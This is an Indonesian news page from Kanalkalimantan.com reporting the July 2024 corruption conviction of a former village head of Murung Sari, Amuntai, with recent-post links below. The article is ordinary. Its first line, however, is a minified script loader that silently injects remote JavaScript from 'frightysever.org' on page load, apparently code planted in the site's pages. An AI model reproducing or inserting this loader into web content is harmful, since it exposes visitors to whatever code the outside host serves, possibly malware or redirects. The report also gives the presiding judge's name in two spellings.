(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Terbukti Korupsi Dana Desa, Mantan Kades Murung Sari Amuntai Divonis 4 Tahun Penjara


KANALKALIMANTAN.COM, BANJARMASIN – Mantan Kepala Desa (Kades) Murung Sari Kecamatan Amuntai Selatan Kabupaten Hulu Sungai Utara (HSU) Tamjidilah harus mempertanggungjawabkan perbuatannya karena terbukti menyalahgunakan Anggaran Pendapatan Belanja dan Desa (APBDes).

Majelis hakim Pengadilan Tipikor Banjarmasin yang diketuai Vidiawan Satriantoro dan dua hakim anggota menjatuhkan pidana kepada terdakwa Tamjidilah selama 4 tahun penjara.

Kades Murung Sari yang mejabat periode 2007-2019 itu juga dijatuhi pidana denda sebesar Rp200 juta.

Putusan pidana tersebut dijatuhkan majelis hakim Pengadilan Tipikor Banjarmasin yang dipimpin Fidiyawan Satriantoro SH dan dua hakim anggota Arif Winarno SH dan Herlinda SH, Kamis (4/7/2024) sore.

Baca juga: Polemik Pemindahan Kandang Babi, Emi: Mereka Punya Hak Berusaha, Perda Masih Memperbolehkan

Tak hanya pidana penjara dan denda, putusan majelis hakim juga membebani terdakwa Tamjidillah untuk membayar uang pengganti kerugian negara sebesar Rp222 juta.

“Jika uang pengganti tidak dibayar setelah sebulan putusan berkekuatan hukum tetap, maka hartanya dapat disita dan dilelang uang menutupi uang pengganti, dalam hal hartanya tidak cukup, maka diganti dengan 2 tahun 6 bulan penjara,” kata Ketua Majelis Hakim, Vidiawan.

Dalam putusan, majelis menyatakan terdakwa Tamjidillah terbukti bersalah melakukan korupsi sebagaimana dakwaan primair pasal 2 jo pasal 18 Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi.

Putusan 4 tahun penjara tersebut lebih ringan dari tuntutan Jaksa Penuntut Umum (JPU) dari Kejaksaan Negeri (Kejari) HSU.

Baca juga: Empat Raperda Mulai Dibahas, Ini Kata Sekda HSU

Sebelumnya JPU menuntut agar terdakwa Tamjidillah dijatuhi pidana penjara selama 5 tahun serta membayar uang denda sebesar Rp200 juta.

Tuntutan pidana tersebut dibacakan oleh tim JPU Bagas Satriaji SH dan Sumantri Aji Budiono SH di ruang sidang Pengadilan Tipikor Banjarmasin, Senin (24/6/2024) lalu.

Sementara untuk pidana tambahan berupa membayar uang pengganti, majelis hakim sependapat dengan JPU untuk membebani mantan kades Murung Sari itu dengan membayar uang pengganti kerugian negara sebesar Rp222 juta.

Diketahui berdasarkan dakwaan, Tamjidilah selaku Kades Murung Sari periode 2007-2019, dalam rentang waktu sekira antara pada tahun 2018-2019 bertempat di Desa Murung Sari secara melawan hukum melakukan perbuatan memperkaya diri sendiri atau orang lain atau suatu korporasi yang dapat merugikan keuangan negara atau perekonomian negara.

Perbuatan terdakwa selama rentang waktu 2 tahun itu telah merugikan keuangan negara sebesar Rp222 juta.

Baca juga: Aplikasi iKalsel Terus Diperkenalkan ke Daerah

Dirinya didakwa dengan pasal 2 jo pasal 18 Undang-Undang RI Nomor 20 Tahun 2001 sebagaimana perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi, sebagai dakwaan primair.

Sementara subsidair didakwa dengan pasal 3 Jo pasal 18 Undang-Undang RI Nomor 20 Tahun 2001 sebagaimana perubahan atas Undang-Undang Nomor 31 Tahun 1999 tentang Pemberantasan Tindak Pidana Korupsi.

Usai pembacaan putusan, terdakwa Tamjidillah yang didampingi penasehat hukumnya belum menentukan sikap, pihaknya memilih pikir-pikir sebelum memutuskan menerima putusan atau mengambil langkah upaya hukum banding.

Sikap yang sama juga diutarakan tim JPU yang dihadiri Bagas Satriaji SH dan Sumantri Aji Budiono SH. Pihaknya akan memanfaatkan waktu 7 hari yang diberikan majelis hakim setelah putusan dibacakan.

“Kami pikir-pikir,” kata Bagas Satriaji. (Kanalkalimantan.com/rizki)

Reporter: rizki
Editor: bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.